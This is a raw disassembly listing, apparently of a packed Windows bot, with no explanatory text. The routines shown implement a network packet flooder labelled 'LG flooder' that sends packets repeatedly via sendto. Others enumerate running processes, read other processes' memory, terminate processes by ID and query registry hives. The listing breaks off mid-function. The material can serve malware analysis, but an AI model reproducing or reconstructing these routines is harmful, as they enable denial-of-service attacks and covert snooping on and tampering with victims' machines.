call sub_4040E8 pop ecx pop ecx mov ecx, [ebp+var_133C] mov [ecx+0Ch], eax mov eax, [ebp+var_1354] add eax, 14h push eax push [ebp+var_133C] call sub_40407D pop ecx pop ecx mov ecx, [ebp+var_133C] mov [ecx+0Ah], ax movzx eax, [ebp+var_E] test eax, eax jnz short loc_405D7F call sub_41043F mov ecx, [ebp+var_133C] mov [ecx+16h], ax loc_405D7F: ; CODE XREF: sub_4055E5+789j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call ds:dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+14h], ax mov eax, [ebp+var_1354] add eax, 8 push eax call ds:dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+18h], ax push 10h lea eax, [ebp+var_10] push eax push 0 mov eax, [ebp+var_1354] add eax, 1Ch push eax lea eax, [ebp+var_1074] push eax push [ebp+var_1078] call ds:dword_417250 ; sendto mov [ebp+var_1348], eax cmp [ebp+var_1348], 0FFFFFFFFh jnz short loc_405E08 push [ebp+var_1334] call sub_409763 pop ecx push [ebp+var_1078] call sub_4053B1 pop ecx xor eax, eax jmp short locret_405E41 ; --------------------------------------------------------------------------- loc_405E08: ; CODE XREF: sub_4055E5+805j push [ebp+var_1083] call ds:dword_41709C ; Sleep mov eax, [ebp+var_1334] cmp dword ptr [eax+4], 0 jz short loc_405E22 jmp short loc_405E27 ; --------------------------------------------------------------------------- loc_405E22: ; CODE XREF: sub_4055E5+839j jmp loc_4057A9 ; --------------------------------------------------------------------------- loc_405E27: ; CODE XREF: sub_4055E5+1DDj ; sub_4055E5+83Bj push [ebp+var_1078] call sub_4053B1 pop ecx push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax locret_405E41: ; CODE XREF: sub_4055E5+59j ; sub_4055E5+94j ... leave retn 4 sub_4055E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E45 proc near ; CODE XREF: sub_40A9CF+8B2p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_405E5D cmp [ebp+arg_8], 0 jz short loc_405E5D cmp [ebp+arg_14], 0 jnz short loc_405E62 loc_405E5D: ; CODE XREF: sub_405E45+Aj ; sub_405E45+10j jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E62: ; CODE XREF: sub_405E45+16j push 2B9h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405E7B jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E7B: ; CODE XREF: sub_405E45+2Fj push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A7h push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 2A7h push eax call sub_407A56 add esp, 0Ch push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2ADh], eax push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2B1h], eax push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2B5h], eax mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 0EA60h jge short loc_405F0E mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_8], eax jmp short loc_405F15 ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_405E45+B9j mov [ebp+var_8], 0EA60h loc_405F15: ; CODE XREF: sub_405E45+C7j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+2B1h], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 64h jle short loc_405F3B mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_C], eax jmp short loc_405F42 ; --------------------------------------------------------------------------- loc_405F3B: ; CODE XREF: sub_405E45+E6j mov [ebp+var_C], 64h loc_405F42: ; CODE XREF: sub_405E45+F4j mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+2B1h], ecx push offset aLgFlooder ; "LG flooder" push 0 push [ebp+var_4] push offset sub_4055E5 call sub_4095A4 add esp, 10h locret_405F65: ; CODE XREF: sub_405E45:loc_405E5Dj ; sub_405E45+31j leave retn sub_405E45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F67 proc near ; CODE XREF: sub_4017AA+6Ep ; sub_401D6E+77p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 0 jnz short loc_405F8E push 1A3h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_0] mov byte ptr [eax+198h], 1 jmp short loc_405FA1 ; --------------------------------------------------------------------------- loc_405F8E: ; CODE XREF: sub_405F67+7j push 1A3h push [ebp+arg_4] push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch loc_405FA1: ; CODE XREF: sub_405F67+25j pop ebp retn sub_405F67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405FA3 proc near ; CODE XREF: UPX0:004168C1p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push offset dword_41E380 call sub_409C36 pop ecx push offset aPsapi_dll ; "psapi.dll" call ds:dword_417054 ; LoadLibraryA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405FC8 jmp short locret_40603F ; --------------------------------------------------------------------------- loc_405FC8: ; CODE XREF: sub_405FA3+21j push offset aEnumprocesses ; "EnumProcesses" push [ebp+var_4] call ds:dword_417058 ; GetProcAddress mov ds:dword_41E37C, eax push offset aEnumprocessmod ; "EnumProcessModules" push [ebp+var_4] call ds:dword_417058 ; GetProcAddress mov ds:dword_41E370, eax push offset aGetmodulefilen ; "GetModuleFileNameExA" push [ebp+var_4] call ds:dword_417058 ; GetProcAddress mov ds:dword_41E374, eax push offset aGetmoduleinfor ; "GetModuleInformation" push [ebp+var_4] call ds:dword_417058 ; GetProcAddress mov ds:dword_41E378, eax cmp ds:dword_41E37C, 0 jz short locret_40603F cmp ds:dword_41E370, 0 jz short locret_40603F cmp ds:dword_41E374, 0 jz short locret_40603F cmp ds:dword_41E378, 0 jz short locret_40603F mov ds:byte_41E39C, 1 locret_40603F: ; CODE XREF: sub_405FA3+23j ; sub_405FA3+78j ... leave retn sub_405FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406041 proc near ; CODE XREF: sub_401244:loc_40129Dp ; sub_40637C+29p var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_12B = byte ptr -12Bh var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 13Ch push esi push edi push offset dword_41E380 call sub_409C6C pop ecx movzx eax, ds:byte_41E39C test eax, eax jnz short loc_406074 push offset dword_41E380 call sub_409C7A pop ecx xor eax, eax jmp loc_40636A ; --------------------------------------------------------------------------- loc_406074: ; CODE XREF: sub_406041+1Fj and [ebp+var_C], 0 and [ebp+var_4], 0 and [ebp+var_1C], 0 push [ebp+var_1C] call sub_416B46 ; malloc pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_406097 jmp loc_406368 ; --------------------------------------------------------------------------- loc_406097: ; CODE XREF: sub_406041+4Fj ; sub_406041:loc_4060E9j mov eax, [ebp+var_1C] add eax, 80h mov [ebp+var_1C], eax push [ebp+var_1C] push [ebp+var_14] call sub_416BF6 ; realloc pop ecx pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4060BD jmp loc_406366 ; --------------------------------------------------------------------------- loc_4060BD: ; CODE XREF: sub_406041+75j lea eax, [ebp+var_4] push eax push [ebp+var_1C] push [ebp+var_14] call ds:dword_41E37C test eax, eax jnz short loc_4060DF push [ebp+var_14] call sub_416B4C ; free pop ecx jmp loc_406364 ; --------------------------------------------------------------------------- loc_4060DF: ; CODE XREF: sub_406041+8Ej mov eax, [ebp+var_4] cmp eax, [ebp+var_1C] jnb short loc_4060E9 jmp short loc_4060EB ; --------------------------------------------------------------------------- loc_4060E9: ; CODE XREF: sub_406041+A4j jmp short loc_406097 ; --------------------------------------------------------------------------- loc_4060EB: ; CODE XREF: sub_406041+A6j mov eax, [ebp+var_4] shr eax, 2 mov [ebp+var_8], eax mov eax, [ebp+var_8] imul eax, 114h add eax, 8 push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_40611E push [ebp+var_14] call sub_416B4C ; free pop ecx jmp loc_406362 ; --------------------------------------------------------------------------- loc_40611E: ; CODE XREF: sub_406041+CDj mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx mov eax, [ebp+var_C] add eax, 8 mov ecx, [ebp+var_C] mov [ecx+4], eax and [ebp+var_10], 0 jmp short loc_40613F ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_406041+156j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_40613F: ; CODE XREF: sub_406041+F5j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb short loc_406199 push 114h push 0 mov eax, [ebp+var_C] push dword ptr [eax+4] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_10] mov esi, [ebp+var_14] mov edx, [esi+edx*4] mov [ecx+eax], edx push offset aSystem ; "system" mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_406138 ; --------------------------------------------------------------------------- loc_406199: ; CODE XREF: sub_406041+104j push [ebp+var_14] call sub_416B4C ; free pop ecx and [ebp+var_10], 0 jmp short loc_4061AF ; --------------------------------------------------------------------------- loc_4061A8: ; CODE XREF: sub_406041+1A8j ; sub_406041+1D8j ... mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4061AF: ; CODE XREF: sub_406041+165j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb loc_406343 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 push 410h call ds:dword_417094 ; OpenProcess mov [ebp+var_130], eax cmp [ebp+var_130], 0 jnz short loc_4061EB jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_4061EB: ; CODE XREF: sub_406041+1A6j and [ebp+var_20], 0 and [ebp+var_28], 0 lea eax, [ebp+var_20] push eax push 4 lea eax, [ebp+var_28] push eax push [ebp+var_130] call ds:dword_41E370 test eax, eax jnz short loc_40621B push [ebp+var_130] call ds:dword_4170A4 ; CloseHandle jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_40621B: ; CODE XREF: sub_406041+1CAj push 0Ch lea eax, [ebp+var_13C] push eax push [ebp+var_28] push [ebp+var_130] call ds:dword_41E378 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_13C] mov [ecx+eax+4], edx mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_138] mov [ecx+eax+8], edx mov al, ds:byte_41DF00 mov [ebp+var_12C], al push 40h pop ecx xor eax, eax lea edi, [ebp+var_12B] rep stosd stosw stosb push 104h lea eax, [ebp+var_12C] push eax push [ebp+var_13C] push [ebp+var_130] call ds:dword_41E374 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz loc_406332 movsx eax, [ebp+var_12C] test eax, eax jz short loc_406332 push 104h lea eax, [ebp+var_12C] push eax mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B58 ; strncpy add esp, 0Ch lea eax, [ebp+var_12C] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_18], eax jmp short loc_4062F7 ; --------------------------------------------------------------------------- loc_4062F0: ; CODE XREF: sub_406041:loc_406330j mov eax, [ebp+var_18] dec eax mov [ebp+var_18], eax loc_4062F7: ; CODE XREF: sub_406041+2ADj cmp [ebp+var_18], 0 jz short loc_406332 cmp [ebp+var_18], 1 ja short loc_406305 jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406305: ; CODE XREF: sub_406041+2C0j mov eax, [ebp+var_18] movsx eax, byte ptr [ebp+eax+var_130+3] cmp eax, 5Ch jnz short loc_406330 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_18] mov [ecx+eax+110h], edx jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406330: ; CODE XREF: sub_406041+2D2j jmp short loc_4062F0 ; --------------------------------------------------------------------------- loc_406332: ; CODE XREF: sub_406041+264j ; sub_406041+273j ... push [ebp+var_130] call ds:dword_4170A4 ; CloseHandle jmp loc_4061A8 ; --------------------------------------------------------------------------- loc_406343: ; CODE XREF: sub_406041+174j push offset dword_41E380 call sub_409C7A pop ecx mov eax, [ebp+var_C] jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406353: ; CODE XREF: sub_406041:loc_406362j ; sub_406041:loc_406364j ... push offset dword_41E380 call sub_409C7A pop ecx xor eax, eax jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406362: ; CODE XREF: sub_406041+D8j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406364: ; CODE XREF: sub_406041+99j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406366: ; CODE XREF: sub_406041+77j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406368: ; CODE XREF: sub_406041+51j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_40636A: ; CODE XREF: sub_406041+2Ej ; sub_406041+310j ... pop edi pop esi leave retn sub_406041 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40636E proc near ; CODE XREF: sub_401244+4D2p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416B4C ; free pop ecx pop ebp retn sub_40636E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40637C proc near ; DATA XREF: sub_4064BF+3Bo var_1B0 = dword ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_406041 mov [ebp+var_1AC], eax cmp [ebp+var_1AC], 0 jz loc_4064AD mov eax, [ebp+var_1AC] push dword ptr [eax] mov eax, [ebp+var_1A8] push dword ptr [eax] push offset dword_418B1C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h and [ebp+var_1B0], 0 jmp short loc_4063F7 ; --------------------------------------------------------------------------- loc_4063EA: ; CODE XREF: sub_40637C:loc_40649Cj mov eax, [ebp+var_1B0] inc eax mov [ebp+var_1B0], eax loc_4063F7: ; CODE XREF: sub_40637C+6Cj mov eax, [ebp+var_1AC] mov ecx, [ebp+var_1B0] cmp ecx, [eax] jge loc_4064A1 push 3E8h call ds:dword_41709C ; Sleep mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax+8] mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax+4] mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax] push offset dword_418B04 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 18h mov eax, [ebp+var_1A8] cmp dword ptr [eax+4], 0 jz short loc_40649C jmp short loc_4064A1 ; --------------------------------------------------------------------------- loc_40649C: ; CODE XREF: sub_40637C+11Cj jmp loc_4063EA ; --------------------------------------------------------------------------- loc_4064A1: ; CODE XREF: sub_40637C+89j ; sub_40637C+11Ej push [ebp+var_1AC] call sub_416B4C ; free pop ecx loc_4064AD: ; CODE XREF: sub_40637C+3Bj push [ebp+var_1A8] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40637C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064BF proc near ; CODE XREF: sub_40A9CF+3FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4064D9 jmp short locret_406507 ; --------------------------------------------------------------------------- loc_4064D9: ; CODE XREF: sub_4064BF+16j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B52 ; memcpy add esp, 0Ch push offset dword_418B44 push 0 push [ebp+var_4] push offset sub_40637C call sub_4095A4 add esp, 10h locret_406507: ; CODE XREF: sub_4064BF+18j leave retn sub_4064BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406509 proc near ; CODE XREF: sub_40A9CF+9C9p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h cmp [ebp+arg_4], 0 jz short loc_40651B cmp [ebp+arg_C], 0 jnz short loc_406520 loc_40651B: ; CODE XREF: sub_406509+Aj jmp locret_406641 ; --------------------------------------------------------------------------- loc_406520: ; CODE XREF: sub_406509+10j push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax push [ebp+arg_8] call sub_40A8AD pop ecx mov [ebp+var_C], eax push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 180h jbe short loc_406554 mov [ebp+var_4], 180h loc_406554: ; CODE XREF: sub_406509+42j mov eax, [ebp+var_4] inc eax push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_1C], eax push [ebp+var_8] push 0 push 10h call ds:dword_417094 ; OpenProcess mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_406586 push [ebp+var_1C] call sub_416B4C ; free pop ecx jmp locret_406641 ; --------------------------------------------------------------------------- loc_406586: ; CODE XREF: sub_406509+6Dj and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push [ebp+var_4] push [ebp+var_1C] push [ebp+var_C] push [ebp+var_18] call ds:dword_417098 ; ReadProcessMemory mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz loc_40662F cmp [ebp+var_14], 0 jz short loc_40662F mov eax, [ebp+var_1C] add eax, [ebp+var_4] and byte ptr [eax], 0 and [ebp+var_20], 0 jmp short loc_4065C9 ; --------------------------------------------------------------------------- loc_4065C2: ; CODE XREF: sub_406509:loc_406620j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4065C9: ; CODE XREF: sub_406509+B7j mov eax, [ebp+var_20] cmp eax, [ebp+var_14] jnb short loc_406622 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 1Fh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 16h jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 10h jg short loc_406620 loc_406617: ; CODE XREF: sub_406509+D4j ; sub_406509+E2j ... mov eax, [ebp+var_1C] add eax, [ebp+var_20] mov byte ptr [eax], 2Eh loc_406620: ; CODE XREF: sub_406509+10Cj jmp short loc_4065C2 ; --------------------------------------------------------------------------- loc_406622: ; CODE XREF: sub_406509+C6j push [ebp+var_1C] push [ebp+arg_0] call sub_40D53F pop ecx pop ecx loc_40662F: ; CODE XREF: sub_406509+9Ej ; sub_406509+A8j push [ebp+var_1C] call sub_416B4C ; free pop ecx push [ebp+var_18] call ds:dword_4170A4 ; CloseHandle locret_406641: ; CODE XREF: sub_406509:loc_40651Bj ; sub_406509+78j leave retn sub_406509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406643 proc near ; CODE XREF: sub_40A9CF+3D7p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_406650 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406650: ; CODE XREF: sub_406643+9j push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax call ds:dword_4170E8 ; GetCurrentProcessId cmp [ebp+var_4], eax jnz short loc_406669 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406669: ; CODE XREF: sub_406643+22j push [ebp+var_4] push 0 push 1 call ds:dword_417094 ; OpenProcess mov [ebp+var_8], eax push 0 push [ebp+var_8] call ds:dword_4170A0 ; TerminateProcess push [ebp+var_8] call ds:dword_4170A4 ; CloseHandle locret_40668D: ; CODE XREF: sub_406643+Bj ; sub_406643+24j leave retn sub_406643 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40668F proc near ; CODE XREF: sub_403DF3+149p ; sub_40A9CF+BDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_4066A0 ; --------------------------------------------------------------------------- loc_406699: ; CODE XREF: sub_40668F+2Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066A0: ; CODE XREF: sub_40668F+8j cmp [ebp+var_4], 8 jge short loc_4066BB push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_406699 ; --------------------------------------------------------------------------- loc_4066BB: ; CODE XREF: sub_40668F+15j mov eax, [ebp+arg_0] and byte ptr [eax+8], 0 and [ebp+var_4], 0 jmp short loc_4066CF ; --------------------------------------------------------------------------- loc_4066C8: ; CODE XREF: sub_40668F+59j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066CF: ; CODE XREF: sub_40668F+37j cmp [ebp+var_4], 6 jge short loc_4066EA push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066C8 ; --------------------------------------------------------------------------- loc_4066EA: ; CODE XREF: sub_40668F+44j mov eax, [ebp+arg_4] and byte ptr [eax+6], 0 and [ebp+var_4], 0 jmp short loc_4066FE ; --------------------------------------------------------------------------- loc_4066F7: ; CODE XREF: sub_40668F+88j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066FE: ; CODE XREF: sub_40668F+66j cmp [ebp+var_4], 10h jge short loc_406719 push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066F7 ; --------------------------------------------------------------------------- loc_406719: ; CODE XREF: sub_40668F+73j mov eax, [ebp+arg_8] and byte ptr [eax+10h], 0 leave retn sub_40668F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406722 proc near ; CODE XREF: sub_40A9CF+F40p var_424 = byte ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 424h cmp [ebp+arg_4], 0 jnz short loc_406736 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406736: ; CODE XREF: sub_406722+Dj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+4] cmp eax, 5Ch jz short loc_406747 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406747: ; CODE XREF: sub_406722+1Ej push 4 push offset aHkcr ; "HKCR" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_406769 mov [ebp+var_218], 80000000h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_406769: ; CODE XREF: sub_406722+39j push 4 push offset aHkcu ; "HKCU" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40678B mov [ebp+var_218], 80000001h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_40678B: ; CODE XREF: sub_406722+5Bj push 4 push offset aHklm ; "HKLM" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067AD mov [ebp+var_218], 80000002h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067AD: ; CODE XREF: sub_406722+7Dj push 4 push offset aHkus ; "HKUS" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067CF mov [ebp+var_218], 80000003h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067CF: ; CODE XREF: sub_406722+9Fj jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4067D4: ; CODE XREF: sub_406722+45j ; sub_406722+67j ... mov eax, [ebp+arg_4] add eax, 5 mov [ebp+arg_4], eax push [ebp+arg_4] call sub_416B40 ; strlen pop ecx mov [ebp+var_210], eax jmp short loc_4067FB ; --------------------------------------------------------------------------- loc_4067EE: ; CODE XREF: sub_406722:loc_406858j mov eax, [ebp+var_210] dec eax mov [ebp+var_210], eax loc_4067FB: ; CODE XREF: sub_406722+CAj cmp [ebp+var_210], 0 jnz short loc_406809 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406809: ; CODE XREF: sub_406722+E0j mov eax, [ebp+arg_4] add eax, [ebp+var_210] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406858 mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax call sub_416B40 ; strlen pop ecx cmp eax, 200h jb short loc_40683A jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40683A: ; CODE XREF: sub_406722+111j mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax lea eax, [ebp+var_20C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40685A ; --------------------------------------------------------------------------- loc_406858: ; CODE XREF: sub_406722+F6j jmp short loc_4067EE ; --------------------------------------------------------------------------- loc_40685A: ; CODE XREF: sub_406722+134j cmp [ebp+var_210], 200h jb short loc_40686B jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40686B: ; CODE XREF: sub_406722+142j push [ebp+var_210] push [ebp+arg_4] lea eax, [ebp+var_418] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_210] and [ebp+eax+var_418], 0 lea eax, [ebp+var_C] push eax push 1 push 0 lea eax, [ebp+var_418] push eax push [ebp+var_218] call ds:dword_417008 ; RegOpenKeyExA test eax, eax jz short loc_4068B5 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4068B5: ; CODE XREF: sub_406722+18Cj mov [ebp+var_8], 1000h push [ebp+var_8] call sub_416B46 ; malloc pop ecx mov [ebp+var_214], eax lea eax, [ebp+var_8] push eax push [ebp+var_214] lea eax, [ebp+var_4] push eax push 0 lea eax, [ebp+var_20C] push eax push [ebp+var_C] call ds:dword_41700C ; RegQueryValueExA test eax, eax jnz loc_406A0C cmp [ebp+var_4], 1 jz short loc_4068FF cmp [ebp+var_4], 2 jnz short loc_406915 loc_4068FF: ; CODE XREF: sub_406722+1D5j push [ebp+var_214] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406915: ; CODE XREF: sub_406722+1DBj cmp [ebp+var_4], 4 jnz short loc_406933 mov eax, [ebp+var_214] push dword ptr [eax] push offset dword_418B5C push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406933: ; CODE XREF: sub_406722+1F7j cmp [ebp+var_4], 3 jnz loc_406A0C push 180h call sub_416B46 ; malloc pop ecx mov [ebp+var_420], eax mov eax, [ebp+var_420] and byte ptr [eax], 0 and [ebp+var_41C], 0 jmp short loc_40696D ; --------------------------------------------------------------------------- loc_406960: ; CODE XREF: sub_406722+2C3j mov eax, [ebp+var_41C] 